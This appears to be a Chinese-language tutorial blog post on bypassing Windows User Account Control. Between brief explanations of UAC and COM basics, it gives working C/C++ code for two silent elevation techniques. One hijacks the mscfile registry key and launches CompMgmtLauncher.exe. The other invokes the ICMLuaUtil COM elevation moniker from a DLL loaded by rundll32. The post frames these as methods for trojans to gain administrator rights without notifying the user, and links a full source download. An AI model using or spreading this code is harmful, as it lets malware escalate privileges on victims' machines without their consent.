前面学了“令牌权限提升”,今天来看下绕过UAC,这么多年都在讨论绕过UAC,确实也产生了许许多多的绕过方法,我们还是结合代码来看基本的方法。里面加入了一些COM接口的基本知识。
UAC(User Account Control)是微软在Windows VISTA以后版本中引入的一种安全机制,通过UAC,应用程序和任务可始终在非管理员账户的安全上下文中运行,除非特别授予管理员级别的系统访问权限。UAC可以阻止未授权的应用程序自动进行安装,并防止无意地更改系统。
UAC需要授权的动作包括:配置Windows Update、增加或删除用户账户、改变用户账户的类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到Program Files或Windows目录、查看其他用户文件夹等。
触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给 appinfo 的 RAiLuanchAdminProcess 函数。流程如下:
该函数首选验证路径是否在白名单中
接着将结果传递给consent.exe进程
该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认
UAC窗口会创建新的安全桌面,屏蔽之前的界面,同时UAC窗口进程是系统权限进程,其他普通进程无法和其进行通信交互,用户确认后,调用 CreateProcessAsUser 函数以管理员身份启动请求的进程。
病毒木马如果想要实现更多的权限操作,那么就不得不绕过UAC弹窗,在没有通知用户的情况下,静默地将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作。目前实现Bypass UAC主要有两种方法:
一种是利用白名单提权机制
一种是利用COM组件接口技术
一、基于白名单程序的Bypass UAC
有些系统程序可以直接获取管理员权限,而不触发UAC弹框,这类程序成为白名单程序。例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。这些白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = FALSE;
PVOID OldValue = NULL;
// 关闭文件重定位
::Wow64DisableWow64FsRedirection(&OldValue);
// 修改注册表
bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
// 运行 CompMgmtLauncher.exe
system("CompMgmtLauncher.exe");
printf("Run OK!\n");
// 恢复文件重定位
::Wow64RevertWow64FsRedirection(OldValue);
system("pause");
return 0;
}
BOOL SetReg(char *lpszExePath)
{
HKEY hKey = NULL;
// 创建项
::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
// 设置键值
::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath)));
// 关闭注册表
::RegCloseKey(hKey);
return TRUE;
}
程序成功利用白名单程序实现了Bypass UAC提权操作,并向注册表中写入cmd程序并启动,其实这也算一种利用白名单的程序劫持,最终效果如下图,
没什么难度,不过多解释了。
二、基于COM组件接口的Bypass UAC
1、简介COM知识
COM的全称是Component Object Module,组件对象模型。组件就我自己的理解就是将各个功能部分编写成可重用的模块,程序就好像搭积木一样由这些可重用模块构成,这样将各个模块的耦合降到最低,以后升级修改功能只需要修改某一个模块,这样就大大降低了维护程序的难度和成本,提高程序的可扩展性。
在习惯上接口通常是以"I"开头。对象通过接口成员函数为客户提供各种形式的服务。一个对象可以拥有多个不同的接口,以表现不同的功能集合。
COM中所有接口都派生自该接口:
struct IUnknown
{
virtual HRESULT QueryInterface(REFIID riid,void **ppvObject) = 0;
virtual ULONG AddRef( void) = 0;
virtual ULONG Release( void) = 0;
};
所有类都应该实现上述三个方法:
AddRef主要将接口的引用计数+1,
Release则是将引用计数 -1,当对象的引用计数为0,则会调用析构函数,释放对象的存储空间。每一次接口的创建和转化都会增加引用计数,而每次不再使用调用Release,都会把引用计数 -1,当引用计数为0时会释放对象的空间。QueryInterface主要用来进行接口转化,将对象的指针转化为另外一个接口的指针,就好像上面例子中pInter2 = pInterface->QueryInterface(ID_APPLIANCES);这句代码将之前的Ibook接口转化为电子产品的接口。在C++中也就是做了一次强制类型转化。
在COM中,对象本身对于客户来说是不可见的,客户请求服务时,只能通过接口进行。每一个接口都由一个128位的全局唯一标识符(GUID,Global Unique Identifier)来标识。客户通过GUID来获得接口的指针,再通过接口指针,客户就可以调用其相应的成员函数。与接口类似,每个组件也用一个 128 位 GUID 来标识,称为 CLSID(class identifer,类标识符或类 ID),用 CLSID 标识对象可以保证(概率意义上)在全球范围内的唯一性。
GUID定义如下:
typedef struct _GUID {
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[ 8 ];
} GUID;
而CLSID的定义如下:
typedef GUID CLSID;
函数 | 功能 |
---|---|
IsEqualGUID | 判断GUID是否相等 |
IsEqualCLSID | 判断CLSID是否相等 |
IsEqualIID | 判断IID是否相等 |
CLSIDFromProgID | 把字符串形式的CLSID转化为CLSID结构形式(类似于将字符串的234转化为数字,也是把字面上的CLSID转化为计算机能识别的CLSID) |
StringFromCLSID | 把CLSID转化为字符串形式 |
IIDFromString | 把字符串形式的IID转化为IID接口形式 |
StringFromIID | 把IID结构转化为字符串 |
StringFromGUID2 | 把GUID形式转化为字符串形式 |
COM接口的一般使用步骤
一般使用COM中的时候首先使用CoInitialize初始化COM环境,不用的时候使用CoUninitialize卸载COM环境,在使用接口中一般需要进行下面的步骤
调用CoCreateInstance函数传入对应的CLSID和对应的IID,生成对应对象并传入相应的接口指针;
使用该指针进行相关操作;
调用接口的QueryInterface函数,转化为其他形式的接口;
在最后分别调用各个接口的Release函数,释放接口。
2、正文
COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序,以提升权限的方法来激活COM类,最终提升COM接口权限。其中,ICMLuaUtil 接口提供了ShellExec方法来执行命令,创建指定进程。所以,接下来介绍的基于 ICMLuaUtil 接口的Bypass UAC的实现原理,它是利用COM提升名称来对 ICMLuaUtil 接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
(1)使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,COM提升名称具体的实现代码如下:
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}
执行上述代码,即可创建并激活提升权限的COM类。
(2)ICMLuaUtil 接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil *CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
}while(FALSE);
// 释放
if (CMLuaUtil)
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}
要注意的是,如果执行COM提升名称代码的程序身份是不可信的,则会触发UAC弹窗;若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。
(3)因此可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
// 导出函数给rundll32.exe调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
(4)将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将Bypass UAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。
int _tmain(int argc, _TCHAR* argv[])
{
char szCmdLine[MAX_PATH] = { 0 };
char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
char szDllPath[MAX_PATH] = "C:\\Users\\Administrator\\Desktop\\test\\BypassUAC2_Test.dll";
::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
::WinExec(szCmdLine, SW_HIDE);
}
(5)测试
Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd命令行窗口,而且窗口标题有管理员字样。
两个篇幅讲解了进程访问令牌权限提升和Bypass UAC(白名单和COM组件),穿插了COM的知识简介。其实,Bypass UAC的方法有很多,对于不同的Bypass UAC方法,具体的实现过程不太一样,需要我们不断去摸索。同时,随着操作系统不断升级更新,Bypass UAC技术可能不再适应(被打补丁),但也会有新的方法出现,大家可以去github上关注UACME开源项目。
程序源码下载地址:
链接:https://pan.baidu.com/s/1TfRcLZzhAvMYCN2W6nbcqA
提取码:6s86